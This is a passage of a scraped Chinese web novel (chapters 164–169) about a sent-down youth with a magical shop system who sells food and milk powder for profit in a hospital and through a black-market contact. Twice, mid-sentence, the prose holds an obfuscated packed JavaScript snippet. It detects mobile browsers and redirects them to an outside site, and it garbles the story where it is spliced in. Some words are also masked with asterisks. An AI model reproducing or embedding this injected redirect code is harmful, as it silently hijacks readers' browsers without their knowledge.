如果家里面有兄弟，如果兄弟都结婚了，那么兄弟媳妇儿又真的能够接受家里面突然多出来这么一个大姑姐小姑子吗？ 相比之下，如今的生活状态反而才更加放松自在吧！ 他已经和光荣大队的大队长联系过了，从对方口中了解到的程十一是个很好的小同志，会认真上工，就算工分不是最多的，但态度却很端正。 第164章 我没娶媳妇儿 搬出知青点，虽说显得有些不团结，但她又和另外搬出来的三个知青的关系很不错，而且四个人也都不是躲懒的人。 不仅如此，在秋收期间发现下雨后，人更是连衣服都来不及换就主动带人跑去帮忙收粮食。 这样思想积极向上的小同志是真的很好。 越想，秦爱民就越发觉得这个看起来瘦弱的小姑娘是个好孩子。 唉，这要是自家的孩子该多好啊！ 知道了程十一的意愿后，秦爱民也就不再继续这个话题了。 “这次查抄老王家中，你的贡献很大，所以组织上决定嘉奖你。” 秦爱民将话题一转，说起了轻松的话题。 程十一也重新打起精神看向对方，一双眼睛亮晶晶的：“嘉奖？奖励什么？钱还是票？有没有奖状啊？” 如果有那可就太好了！ 这个时代对于这些可是非常看重的，如果自己真的能够得到组织上的嘉奖，那可算得上是给自己上了一层保护罩。 秦爱民是真没想到这小丫头变脸的速度这么快，错愕了一瞬间后失笑：“都有，不过奖励可能不会很丰盛，但奖状是一定的。不仅如此，组织还会写表扬信送到你们大队，以及你们大队所属的公社。” “真的？谢谢领导！” 程十一是真开心了，放下筷子举起右手，对秦爱民敬了个礼。 秦爱民被逗得哈哈大笑。 接着又聊了些程十一什么时候回去的事，还说了些关心的话，最后人才离开。 顾青没走。 等到秦爱民离开后，顾青坐在病床旁边的凳子上，从挎包里摸了摸，摸出了个信封，放在了床头柜上。 程十一刚好吃完饭，正要将饭盒扣上，准备等下去刷，却被顾青接了过去：“信封里是我给你留的一些粮票和钱，不多，应该能够你用到回大队了。” “啊？我不要，我有的。” 程十一一听是给自己钱票的，那态度和刚刚完全不同，连忙摆手拒绝。 顾青看着小姑娘摇头的动作，头顶上的一根呆**也在来回跟着晃，突然心里有点痒痒的，手心也有点痒，想挼一把。 鬼使神差的，他真的动手了。 程十一看着对方的一只手伸向自己的头顶，还不等自己躲开，那只手就在自己的头顶顺了两下。 那感觉，怎么说呢？感觉自己好像变成了一只猫，被人撸了**。 有点舒服。 “对不起，我，我去刷饭盒！” 顾青意识到自己做了什么手，几乎是弹跳而起，拿起桌子上的饭盒就往门口跑。 程十一眨眨眼。 不是，被挼**的人是她哎，这人怎么反应这么激动？ 抬手顺了顺自己的脑瓜顶。 啧，感觉不对路啊！ 难不成自己上辈子，啊呸，不对，是上上辈子真是一只猫，就喜欢被人挼脑袋瓜儿？ 拿起床头柜上的信封，没有封口，朝下倒了倒，飘出十几张票和一沓**票。 票基本上都是粮票，还有二两肉票。 至于**票差不多能有个十块钱的样子。 程十一眨眨眼。 顾青同志好大方啊！ 不过，为啥是**票凑的十块钱，而不是一张大团结呢？ 脑海中突然浮现出了顾青去给大队长家送钱，说是给大队上的五保户准备的。 所以，这哥们不会是没钱了吧？不会是将身上剩下的所有钱全都给自己了吧？ 不是吧不是吧，这人不会真的这么大方吧？ 程十一有点傻眼了。 将钱票重新装进信封，程十一的心情很复杂。 顾青是个好人，这人要是自己的大哥就好了，肯定能照顾好自己这个妹妹。 可但是，如果真是自己大哥，一想到自家大哥就跟个散财童子似的到处送钱，她得多心塞啊！ 站在水池旁边刷饭盒的顾青只感觉自己的右手掌心很烫，哪怕是冰凉的自来水都降不下去的那种烫。 他是不是疯了啊，怎么能突然摸人家女同志的脑袋瓜儿呢？ 也不知道小程知青有没有生气，有没有误会自己是个不检点的人。 苍天啊，他怎么就这么沉不住气？这要是被队里的那些混球知道了，还不得笑话死他啊！ 平日里洗饭盒，顾青很快就能结束战斗，但这一次却洗了足足十分钟还没有停下。 最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588287|170163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后还是一个病人家属注意到不对劲了，关心的询问了下，这才让顾青回过神。 重新回到病房门口，顾青深吸了两口气，这才敲门进去。 程十一已经靠坐在床头上了，腰部以下都盖着被子，包扎起来的那只脚则是露在被子外面。 手里拿着信封，这会儿正看着门口。 “那个，对不起。” 顾青觉得自己还是解释一下吧，要不然真让人家女同志误会自己耍！流！氓，那才是真的不好。 程十一摇摇头：“没事，我头发刚刚是不是又立起来了？” 这也是程十一刚刚用镜子看过后才发现的。 唉，头顶有簇呆**，自己只要睡觉起来就会立起来，必须得沾点水梳头发才能压下去。 顾青没想到程十一完全没有生气的样子，甚至还主动给自己找了理由。 这……就挺难评的。 “饭盒刷干净了。” 顾青没有继续刚刚的话题。 程十一点点头。 见人将饭盒放在了床头柜的抽屉里，这才招呼道：“你坐下。” 顾青不明所以，但却很听话的坐在凳子上。 程十一捏着信封在自己的另外一只手掌上拍打了两下：“你是不是把你身上的钱和票都留给我了？” 顾青的呼吸一顿。 不是，这姑娘是咋知道的？ 程十一见他这个反应就知道自己猜对了，无力的耷拉下肩膀：“我说顾同志，你这人心也太好了些，为了帮人，连自己的口粮都不顾了？这钱和票你都收回去吧！刚刚秦领导已经说了，我住院这段时间的吃喝花销全都由组织解决。而且连我回去的车票也都会给我安排好，并不用我自己出钱。” 说着，程十一将信封递给顾青，又道：“看你的年纪也不小了吧！家里还有媳妇儿有娃的，你怎么也要多顾及顾及你的小家。” 顾青几乎是下意识的解释：“我没娶媳妇儿！” “没娶妻就没娶妻，那么大声干什么？” 程十一被吓了一跳，拍了拍心口，没好气的说道：“没娶媳妇儿那你还不抓紧多攒点老婆本！当心没彩礼，人家好姑娘都不乐意嫁给你！” 第165章 去妇产科走一圈 “我……” 顾青张了张嘴，想说的话又咽了回去，转念接道：“知道了。” 还是别说实话了，要不然让人家小姑娘误会了咋办？ 他有娶媳妇儿的钱，又不是真的傻，每个月的津贴，还有奖金之类的到手后都是被他分开安排好的，哪能真的会将所有的钱全都拿出来啊！ 程十一见他还算上道，也就不说什么了：“顾同志，你不是要归队了吗？赶紧回去吧！拖拉机的事情解决好了，我这里也没什么事。” 总让人照顾着，程十一心里怪不好意思的。 顾青点点头：“我明天的火车，出发前就不过来了。” “嗯嗯。” 程十一心里松了口气，心里却在琢磨着是不是应该给人家顾同志准备点礼物，毕竟人家照顾了自己这么长时间。 想了想，程十一又道：“顾同志，你明天几点的火车？要不明天早上再来一趟吧！” 顾青没多想，只以为小姑娘是想让自己帮忙带个早饭，当即点头：“行，我明天中午的车。” “行，那你早点回去休息，明天早上过来就成。” 这会儿外面的天已经擦黑了，再不走也不合适。 顾青走了，程十一则是下了床，一瘸一拐的来到病房门口，在走廊里来回张望。 走廊里的人不多，护士也没瞧见，程十一抓了抓下巴，转身进屋，还不忘将门关上。 程十一：统统，有没有强效止痛药？ 系统：有，价格不贵，只要一块钱一片，吃完后立刻见效，药效会持续三个小时。 程十一：有多强效？能吃完后就感觉不到我脚底板的疼吗？ 系统：应该是这样的吧！统统也没吃过。 程十一：…… 这话说得真好，下次别说了。 花了一块钱，买了一片强效止痛片。 刚混着水吞下去，程十一就感觉脚底板的疼好像真的减缓了不少。 尝试着正常走路，嗯，还是有点疼，并不是完全没有感觉，不过自己倒是不用一瘸一拐了。 换了身衣服，还用口罩将自己的脸挡住了，程十一就出了病房。 病房的房门仔细关好，自己则是低着头朝着楼梯走去。 欧皇体质的状态还在，自己可不能就这么浪费了。 黑市什么的不能去，但她现在就在医院。 医院是什么地方？ 但凡是能住得起院的人家，就没几个是特别穷的。 自己必须得在这里折腾一下啊！ 要说最能舍得花钱买点好东西的，那就得是妇产科。 程十一也不用问，就听着哪个地方的孩子哭声最多，基本上也就能确定了。 单人病房都是在三楼，而二楼就是妇产科。 一到二楼，就能听见一侧走廊里有婴儿的啼哭声，还有大人的说笑声。 看来是有人家得了麒麟子，正高兴呢！ 走廊里虽然也有护士走动，但都是行色匆匆的，并不会逗留。 程十一前后左右的看了看，确定没人看自己，手里陡然一沉，多了一个筐。 这可不是她从王家带出来的那个了，而是一个圆形的竹编筐，还有些旧，是从光荣大队带过来的。 不算新，但胜在结实。 筐里面被她放了二十来个鸡蛋，还有几个油纸包，每个包里面是半斤装的红糖。 另外还捆着两只老母鸡。 不过老母鸡的嘴都用布条捆住了，除了脖子还能动一动，老母鸡那真就是安静如鸡的状态。 程十一走进走廊，挨个病房看，发现屋里人多的，她就退出来。 越往里面走，病房里住的人就越少。 直到了倒数第二间病房，里面只有一个产妇，此时在睡觉，而病床旁边坐着的老太太正抱着个襁褓笑着和身边的老头儿低声说话。 程十一挑挑眉。 就是这家了！ 老头儿老太太的衣服都很整齐，尤其是那老太太一脸的慈和，看起来很好说话的样子。 “奶奶，我来看我婶子了。” 程十一见有护士从隔壁病房出来，赶紧就走进这间病房，进去后还不忘将房门关上。 屋里的两位老人都被吓了一跳，转头看向门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588288|170163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口，见是个戴着口罩的年轻姑娘还有些错愕。 老太太看了一眼自家老头子，见对方也是一脸不解，她这才询问：“同志，你这是……” “奶奶，我，春丫啊！” 程十一也没摘口罩，就笑眯眯的看着对方，还提了提手里的篮子：“我这不是听说我婶子生了么，我爸让我过来看看，还给婶子带了点东西。” 说话间，程十一打开了盖在篮子上面的黑布，露出了里面的鸡蛋和一只老母鸡的鸡脑袋。 老太太的眼睛明显亮了下，赶忙将怀里的襁褓交给身边的老头子，起身就迎向程十一，还笑着招呼：“你这孩子，来就来，怎么还带东西呢？你婶子刚睡下，咱们出去说话。” “行，爷爷，那我先和奶奶出去说会儿话。” 程十一从善如流。 老太太几乎是挽着程十一的胳膊出了病房，一路朝着楼梯的方向走。 路上遇见了护士打招呼，她就笑呵呵的介绍说这是乡下来的亲戚，来看看孩子。 俩人一路下楼，甚至出了大门，来到了院子里，找了个没人的地方这才停下。 “姑娘，你这鸡蛋和老母鸡怎么换？” 老太太的声音压得很低，眼睛里的光更亮了。 程十一下意识的缩了缩脖子，总感觉这老太太不像个好人。 “鸡蛋一毛钱一个，不要票。老母鸡我，我也不论斤秤了，就一只八块钱，两只15。” 说着，程十一将黑布又掀开了些，露出了另外一个鸡脑袋。 老太太一听这个价格，下意识的想要压价，可在看到老母鸡旁边的油纸包后连忙询问：“这是什么？” “这是红糖，一包五毛钱，有半斤，但是和鸡蛋一样，不要票。” 这下老太太的眼睛里没有光了：“姑娘，这红糖供销社卖一斤也才五毛钱，你就算不要票也不能翻一倍的价格吧！” “哦，那我就不卖给您了也行。” 程十一一脸无所谓。 不要票的前提下价格翻一倍还嫌贵，这老太太的面相看起来一点儿都不和蔼了。 第166章 拽阮玲玲入伙 眼看着程十一要将黑布重新盖上，老太太急了，一把抓住程十一的手腕：“别，别，姑娘，这样，你这些东西奶奶都要了，你给个实在价。” 鸡蛋二十来个，也就是两块来钱，两只老母鸡要十五，红糖有五包，两块五。 程十一心算了下，报价：“那二十吧！这筐我送你了。” 这些东西从商城里购买，一共也才花了十块钱，翻了一倍赚差价，嗯，挺不错。 老太太已经自己掀开了黑布看了看，心里也在计算价格。 怎么说呢，不算便宜了，但白得一个筐倒也不是不行。 “行，奶奶给你拿钱。” 老太太掏出了两张大团结：“姑娘，我儿媳妇儿这次给我家生了个大孙子，遭了不少罪，我这当婆婆的也心疼她。这样，你要是还有什么好东西就给奶奶送过来。” “奶粉要吗？” 程十一突然问了这么一嘴。 老太太愣了下，随即狂喜：“你还有奶粉？” “有，不过不是那种成桶或者成袋包装的，是我嫂子之前生孩子剩下的奶粉，放心，都是好的。” 程十一说着从裤兜里摸了摸，摸出了不大的油纸包：“这个你拿回去尝尝，要是觉得没问题，那十分钟后还来这里。” “行行！” 老太太连连点头，又不忘询问：“那奶粉怎么卖？” 程十一抓了抓下巴，想了想：“也没多少了，就按照那个包的量，一包五毛钱。” 那一包大概也就只能冲一杯。 现在的奶粉其实也是塑料袋包装的，要不是系统出品的奶粉没有什么牌子不牌子的，她也不会自己再重新包装一下。 不过肯定是对半赚的就是了。 老太太想了想，点点头：“行，那我现在就回去试试。” 说完老太太就走了。 程十一也没着急回自己的病房，而是朝着一旁的木椅走去，坐在那里望天。 说是望天，实际上是在忙活着拆分奶粉。 商城里买的奶粉能拆出四十几包，而购入价格也才八块钱。 如果能全部出手，这可不是对半赚啊！能赚更多。 老太太一来一去的也没用上十分钟时间，那唇边还带了点白，应该是尝了奶粉的味道就赶紧跑出来了。 程十一从自己的挎包里拿出了个大油纸包，里面是一小包一小包拆分好的奶粉。 老太太一到跟前，气还没喘匀就道：“你，你有多少奶粉？” “都在这里了。” 程十一将大油纸包打开摊在椅子上。 老太太上手数，算了算：“这里有四十五包，闺女，你就按照四十四包算吧！” “不行。” 程十一作势就要将油纸包重新包好。 老太太没招儿，只能拿出了二十二块五，又仔细的将油纸包重新包好。 程十一在一旁提建议：“回头弄个罐头瓶子，晾干了再把奶粉装里面，这样不容易受潮。” “是是，是这个理。” 老太太宝贝似的将油纸包抱在怀里就要走，走出去两步想到什么，又停下来看程十一：“姑娘，你要是还有别的什么好东西就来和奶奶说，只要是能让我儿媳妇儿和大孙子健健康康的好东西，奶奶不差钱！” 能在这样的时代里说出这样话的人，程十一都不知道是该说老太太心直口快，还是该说她财大气粗了。 程十一摆摆手，没说行，也没说不行。 这么一会儿的功夫她就赚了好几十。 嗯，还不错。 就是感觉不太够。 今天欧皇体质加身，自己是不是应该趁热打铁，再多搞点钱回来？ 这么想着，程十一就起身朝着医院外面走。 她在这个城市里认识的人是真的不多，关系好的就更少了。 阮玲玲算一个，再有就是陈奶奶一家。 陈奶奶一家对自己也是真的好，但……陈奶奶的儿子是烈士，这样的人家怕是不好搅和进买卖这样的事情里。 所以，能选择的对象也就是阮玲玲了，就是不知道那姑娘有没有这个胆量。 算了，先去看看，万一行呢！ 就算不行，也没什么，就当是正常的走动吧！ 这会儿倒是还有公交车，不过车上的人很少。 程十一没等多会儿车就来了，上车就有空座。 摇摇晃晃的到了地方，下车就朝着阮家的方向走。 此时空气中弥漫着炊烟的气味，各家各户都在忙着做晚饭。 程十一有点想念自己的房子了。 这要是在大队里，此时的自己应该坐在炕上吃晚饭吧！ 唉，也不知道她的娇娇姐姐在干什么，有没有想她这个可爱的妹妹啊！ 终于来到了阮家大门口，按响门铃，很快就听见了阮玲玲的声音。 “玲玲，是我，十一。” 程十一主动回应。 门开了，阮玲玲很是兴奋，一把挽住程十一的胳膊：“十一，你没事可真是太好了！走走，快进屋，我家正要吃饭呢！” 再次登门又赶上人家吃饭的时候，程十一多少有点不好意思。 好在她也不是空手来的，手里提着的筐里面放着一包挂面，还有十来个鸡蛋。 这个时候谁家的日子都不算富裕，就算阮家不差她那一口吃的，自己也不好总白吃。 一进屋，就看到阮兴国已经坐在桌子旁边了，桌子上面摆着两道菜。 一道是炒土豆片，一道是海带炖白菜。 “十一？” 阮兴国一见是程十一还有点意外：“你这是忙完了？” “嗯。” 程十一点点头，老老实实的打招呼。 饭自然是留下来吃的，不过她没吃多少，因为在医院已经吃过了。 吃完饭，程十一就被阮玲玲拽着进了阮玲玲的房间。 俩人门一关，就凑在一起嘀嘀咕咕的聊天。 阮玲玲先是问了程十一早上的事，被程十一糊弄过去了。 “对了，玲玲，你有没有信得过的人混黑市？” 程十一怕这丫头再东拉西扯的，赶紧将话题转移到正事上。 阮玲玲的表情一顿，但是没生气：“你问这个做什么？是要买什么东西吗？” “不是。” 程十一摇摇头：“和你实话说吧，这次我带了不少我们那边的特产啥的，就想换点钱票回去。你不知道，乡下的人过日子想要弄点钱票不容易。” 第167章 阮小舅 程十一的话音刚落，嘴就被阮玲玲的一只手堵住了。 小姑娘还用另外一只手做了一个噤声的动作，这才下了床，踮着脚尖走向门口，又将耳朵贴在门上仔细听了听，这才又踮着脚尖回到床上。 光是这些操作还不够，愣是将被子扯开，直接盖住了自己和程十一的脑袋，这才用气声说道：“十一，我和你说嗷，我小舅舅就在黑市那边混，但是我爸不让我说，你可千万别告诉别人。” 程十一：…… 这姑娘对自己可真是够信任的了。 脑袋上蒙着被子，乌漆嘛黑的，程十一什么都看不见，直接掀开被子坐了起来。 阮玲玲一着急，正要说话，就见程十一摇摇头：“没事，外面没人，咱们小点声说话没问题的。” “啊？你怎么知道的？” 阮玲玲很是诧异。 程十一指了指门下边的缝隙：“如果有人，门缝会有阴影。你看看，那里现在还能看见客厅的灯光，就说明没人在门外。” 顺着程十一手指的方向，阮玲玲仔细的看了看，最后一双眼睛瞪得溜圆：“还真是！” 没有了“偷听”的担忧，阮玲玲也不拉着程十一蒙被子了，说起了自己小舅舅的事。 程十一想着自己的欧皇体质还没有失效，再一个止痛片的效果也还有一个来小时的时间，不能就这么浪费了，便问：“玲玲，你能带我去见你小舅舅吗？或者，你把他的住址给我，我去找他也行。” “我带你去呗！反正离着也不远。” 阮玲玲丝毫不觉得有什么麻烦，当即就下了床：“走，咱俩现在就去。正好我小舅舅前两天就说给我带回来了新的书，我还一直都没过去取呢！” 程十一有些担心阮兴国会阻止，可事实是阮兴国听说了这话后只说了句“让你小舅舅送你回来，不要自己走夜路”，其他的压根没管。 反倒是阮妈妈将两个人送到了大门口，低声在阮玲玲耳边叮嘱了几句。 程十一虽然距离着能有一米左右，但她听见了。 阮妈妈让阮玲玲告诉她小舅舅再弄几包挂面回来。 得，看来这位阮妈妈是知道，且支持的啊！ 至于阮兴国……程十一觉得阮兴国不一定就是坚决地不同意，否则也不会默认自家闺女和小舅子常来往。 这家人，有点意思。 程十一被阮玲玲挽着胳膊，顺着胡同往里走，走了差不多能有不到十分钟，这才停了下来。 此时的天色已经黑透了，胡同里面也是乌漆嘛黑的，就只有阮玲玲手里的手电还有光亮。 阮玲玲敲门，听到回应便报上了自己的名字。 很快，门开了。 开门的是个老太太，一米六左右的身高，裹着小脚。 “姥姥，我来啦！” 阮玲玲直接挽住了老太太的胳膊，还用脸蛋蹭了蹭老太太的肩膀。 老太太高兴又惊讶：“你这孩子怎么这时候过来了？是家里发生什么事了？” “嘿嘿，我过来找我小舅舅。姥姥，咱们进屋说。” 阮玲玲还不忘介绍一下程十一。 一看到外孙女儿竟然带了朋友过来，老太太意外归意外，倒是笑呵呵的招呼人进了屋。 房子的格局和阮家的格局基本上一样，就连屋里的摆设也几乎都是同款。 现在程十一算是看明白了，那些东西怕都是阮玲玲的那个小舅舅给弄到的。 阮玲玲一进屋就直接喊“小舅舅”，很快就从一旁的屋门走出来个二十出头的男人，顶着一头乱糟糟的头发，打着哈欠，一看就是被人叫醒的模样。 “玲玲啊，怎么这时候过来了？” 阮小舅揉了揉眼睛，又对老太太说道：“妈，有没有吃的？我饿了。” “睁开眼睛就知道吃！” 老太太没好气的白了他一眼，人倒是出去了。 没了老太太在屋里，阮玲玲也不绕弯子了，直接介绍起了程十一，还提到了程十一带了不少东北那边的山货过来。 阮小舅一听这话也不打哈欠揉眼睛了，做了个请的手势，这才问道：“程同志，不知道你手里有多少山货啊？” “你能吃下多少？” 程十一不答反问。 虽说她从大队里收来的山货是有数的，可她有商城在啊！ 只要能赚钱，多从商城里进货也不是不行。 阮小舅一听就皱了眉，似乎有些不太高兴，不过看在自家外甥女的面子上还是认真的想了想：“如果只有百十来斤的话就算了，不够折腾的。要是想搭上这条线，最少也得二百斤起步。” 说着还竖起了两根手指头。 程十一心下松了口气，她还以为要个千八百斤呢！ “我这里有五百斤山货，木耳蘑菇，还有一些榛子、松子、核桃之类的，一斤三块钱。” 程十一报价。 在光荣大队那里，一斤山货的价格也就是在几毛钱，最多差不过一块钱。 自己将价格翻了三倍，不能说少，但也不能算多。 怎么也要给对方留有赚钱的空间，否则没有利益驱使，对方不肯收了怎么办？ 阮小舅没有立刻表态，反而认真的想了想，反问：“这些山货质量怎么样？” “不能说绝对新鲜，毕竟这些东西都是晒干后保存的，路上也会有些许损耗，但我可以保证至少九成以上都是没问题的。” 商城里买回来的，那肯定是个顶个的没问题，但从社员手里收购上来的可就不一样了，所以话绝对不能说得太满。 阮小舅皱眉：“三块太贵了，两块钱，我全都要了。” 五百斤，两块钱就是一千块钱了，真不少了。 可程十一却摇了摇头：“三块钱是最低价，如果不是有玲玲在，我这些山货的出手价格至少要五块钱。” 程十一晃了晃一个巴掌：“如果能出，换成钱票自然最好，如果不能，这些我最多就是用来送礼走人情也不是不行。” 阮小舅在听到五块钱一斤的价格时只感觉这小姑娘在白日做梦，可考虑到自家外甥女还在一旁目光炯炯的盯着自己，他只能再次心算了一番，最后点头。 “行，三块钱就三块钱。不过提前说好，如果超过一成的品质有问题，那我就得扣钱了。” 第168章 生意主动送上门 谈妥了山货的价格，程十一突然问了句：“腊肉、肉干之类的，收不收？” “什么动物的肉？” 阮小舅问。 程十一掰着手指头，一副一边回忆一边回答的模样：“狍子，野鸡，还有野猪、野兔子之类的。” 目前这些东西还没有法律保护，还处于能够上桌吃的阶段。 程十一每说一个，阮小舅的眼睛就亮一分，等到程十一说完了，他就立刻点头：“要！什么价？” 一斤鲜肉差不多能出半斤左右的肉干。 而现在一斤猪肉的价格差不多是在八毛到一块钱之间。 程十一直接报价：“四块钱一斤。” “不行，太贵了！” 阮小舅立刻摇头摆手：“现在新鲜猪肉的价格也才一块出头，你这一下子翻出去三四倍了，太贵了。” 程十一也不恼，反而还很耐心的解释：“一斤鲜肉也就只能出差不多半斤，甚至可能半斤都不到的肉干。这样一斤肉干的价格就直接变成了两块钱，这中间还没算上人工费，以及我的人一路上人手带货过来的风险和辛苦费。所以一斤要四块钱不贵了，别忘了，我这些可都是野货，可不是那些饲养出来的动物。” 阮小舅沉默了。 虽然他也分不出来饲养的和野货的有什么太大的区别，不都是肉么，但对方分析的那些成本倒也是真的。 阮小舅的手指在桌面上轻轻的敲着，好一会儿才道：“这些有多少？” “五百斤。” 程十一选择了个容易记的数字。 更多，她倒是能拿得出来，但好像说出来就有些过于吓人了。 阮小舅的嘴角明显的抽了下。 这姑娘到底是什么来历啊，上来就是五百斤的山货，现在又是五百斤的肉干。 五百斤的肉干怎么也要一千斤的鲜肉才能做出来吧！ 一千斤的鲜肉哎，这得至少五六头年猪才凑得出来吧！ “这个我需要好好想想。” 阮小舅这次并没有立刻答应下来：“回头咱们再约个时间吧！” 程十一也不意外对方的反应，当即点头：“行，那时候不早了，我就先回去了。玲玲，是我送你回去，还是等下让小舅舅送你？” “我送吧！” “小舅舅送我。” 两个人异口同声。 阮玲玲又道：“十一，你要回去哪里啊？” “我回医院。” 程十一晃了晃自己的脚：“今天白天受了点伤，正好就在医院住下了。” “啊？你受伤了？严不严重？你快点让我看看伤成什么样了。” 阮玲玲当即就紧张得不行。 程十一却后退了两步：“没啥大事，就是割破点皮，你看我这走路都没问题呢！放心吧，这也就是组织上给我提供的照顾，不用我花钱花票，我这才在医院住下。” 这话说得似乎是闲聊天，可听在阮小舅的耳朵里就变了味道。 组织提供？ 不用自己花钱花票？ 好家伙，这姑娘到底是个什么来历啊！ 阮玲玲见程十一真的不像是有事的样子，也就只好作罢。 拉着自家小舅舅将程十一送到了大路上，又目送程十一走远了，这才重新回到姥姥家。 而程十一在一处路口拐弯后，靠着墙壁仔细听了听，还让系统帮忙查看了下周围有没有人发现，确定没人发现自己，这才拿出了自行车。 赶在止疼药药效消失之前，一路风驰电掣的骑回了医院。 快到医院大门口的时候将自行车收起来，自己则是散步一样进了大门。 医院的门口有路灯，影影绰绰的能看到不远处有人正在来回踱步。 程十一也没当回事，继续朝着住院部走。 今天办了不少事，剩下的几个小时的欧皇体质怕是用不上了。 也不能说不可惜，可也是没办法的事儿，毕竟这么晚了，她也不可能再去敲谁家的大门卖东西吧！ 心里正在感慨着，突然就听到有脚步声朝着自己走过来，同时还有一个老太太有些焦急的询问声：“姑娘，是你不？” 这声音有点耳熟啊！ 程十一下意识的就要抬头，突然想到什么，赶紧从衣兜里摸出了口罩遮住了自己的半张脸。 刚戴好口罩抬头，就看到一个老太太正焦急的奔向自己。 好家伙，还真是熟人啊！ 这老太太不是别人，正是两个多小时前和程十一交易过的老太太。 程十一看着这人伸手就要抓自己的手腕，赶紧倒退了好几步，还立刻让系统检查周围的情况。 别不是这老太太以身为饵，这是要抓住自己去立功吧？ 老太太没抓到人，突然想到什么，也不上前了，就这么站在原地，不过脸上的着急倒不像是假的：“姑娘，你那里还有奶粉没？还有鸡蛋，老母鸡和红糖什么的也行，总之是能给孕妇产妇养身体的好东西都行。” 程十一已经从系统那里得知了周围并没有任何埋伏的人，这才认真看向眼前的老太太：“你不是晚上刚从我这里换了不少吗？不够吃？” “哎呀，不是我儿媳妇儿不够吃，而是，而是……” 老太太明显的犹豫了下，左右看了看，确定没有第三个人在，这才小小的上前一步，声音也压低了些：“不瞒你说，是我儿子的上司家的儿媳妇儿生了，还是双胞胎。大人遭了不少罪，连奶都下不来，根本喂不了孩子。” “奶粉倒是也有，可是之前就是按照一个孩子的份量准备的，这会儿再要多弄一些也不容易。大人要补，孩子要吃的，这不，就开始四处询问了。” 听了老太太的讲述，程十一的眼睛亮了亮。 好家伙，欧皇体质诚不欺我啊！ 她自己都已经单方面决定结束这一天的奋斗了，没想到生意居然自己送上门了。 “有是有，不过价格可不便宜。” 程十一看着老太太：“你们要多少？” “有多少……不不，也不是有多少要多少，反正你看着准备吧！现在我们这里就是两个产妇三个孩子了，所需要的东西肯定不少。你放心，咱们一手交钱一手交货，绝对不带乱来的。” 老太太本来很想财大气粗的表示有多少要多少，但想到这姑娘一出手就是两只老母鸡，这后面怕是得有一个生产大队做靠山。 自己还是稳妥点儿吧，别大话说出去了再收不回来，那可就不好了。 第169章 老太太，你是个会说实话的 此时此刻，老太太压根就不相信程十一之前说的什么家里有孩子喝剩下的奶粉想换成钱的说法。 程十一也不解释，生意上门了那就做呗！谁还会嫌钱多啊！ 两个孕妇，三个婴儿，所需要的奶粉和其他东西也不算少。 程十一想了想，报了个数：“老母鸡能有十只，多了不行。奶粉的话，也都是之前的包装，不过能弄到十斤。还有红糖是吧，红糖，嗯，我这里也能凑出个十斤。” “对了，卫生纸你们要不要？白色的，比大粉纸更软乎，给孩子擦腚更舒服。” 随着程十一的报数，老太太的眼睛那是越来越亮，只是在听到白色卫生纸的时候明显呆滞了下：“白色的卫生纸？那是什么？” 现在市面上最好的卫生纸也就是那种大粉色的了，还真没听说过有白色的。 程十一从自己的挎包里摸了摸，摸出了一小卷卫生纸，纯白的，没多少了，是她平日里用的，就剩了这么一点点。 扯下一段来递给对方：“你自己感受一下，这个不要票，但价格不便宜，一卷，大概这么粗，要一块钱。” 程十一拿出来的是长卷实心装，没多粗，比拳头大了两圈左右。 和那种大粉色的卫生纸相比，份量是真的少。 但没办法，谁让现在没有这种柔软吸水的白色卫生纸呢！ 有人买，那她就卖呗！ 老太太手里拿着一小块卫生纸，反复的摸了摸，那真是越摸越心惊。 这玩意儿感觉比他们家准备的尿戒子还软乎啊！ 真不敢想要是用这纸擦腚那得多舒服。 “有点贵了。” 老太太稀罕归稀罕，但这价格也是真的不便宜。 见她还要讲价，程十一直接抬手阻止：“价格就是这样，不要票，就一块钱一卷。我就在这里等你十分钟，十分钟内给我结果，如果十分钟内看不到你，那我就走了。” 说完，程十一走到不远处的椅子上坐下。 止痛药的药效好像快到时间了，脚底板传来的疼痛感越来越明显。 她得快速解决战斗，要不然自己怕是就要一瘸一拐回病房了。 老太太也顾不得别的了，赶紧就往回小跑。 买肯定是要买的，但买多少就得和家里人商量下了，既然是要去走领导家的关系，这东西就不能买得太少太便宜。 这样一来，她身上带的钱可不够，得家里人凑吧凑吧才行。 程十一琢磨着自己是不是再来一片止痛片，想了想还是决定放弃了。 万一等下回去遇见医生护士，万一自己装得不像那么回事，那不是要惹人怀疑？ 不仅如此，自己还得另外准备点什么东西带回去才行，否则也不好解释自己出去这么一趟都做了什么。 当然，如果没人发现那就更好了。 见老太太的身影已经完全消失在楼门口，程十一这才转身朝着大门外走去。 出了大门，寻了个路灯照不到的角落，没过一分钟时间，人又从阴影里走出来，而此时的她后背已经多了一个大大的背筐，就连手里都多了两个筐。 刚到医院大门口，就看到了刚刚坐过的椅子旁边有两个身影在转圈圈。 一个是刚刚的老太太，另外一个则是个年纪不大的男人。 “妈，我看你肯定是被骗了，那人肯定走了。” 年轻男人语气里带着埋怨：“你说说你，你就说东西全都要了，你再回去拿钱也来得及啊！” “我，我当时也没想那么多啊！再说了，那个小同志手里可是有不少东西，我寻思着咱们就算送礼也用不了那么多，这才想着回去和你们商量商量。” 老太太很是委屈。 程十一咳嗽了两声。 这时候天都已经黑透了，路上都没有什么行人，医院这里更是没有人进出，所以显得格外安静。 程十一这一咳嗽，瞬间吸引了那母子俩的注意。 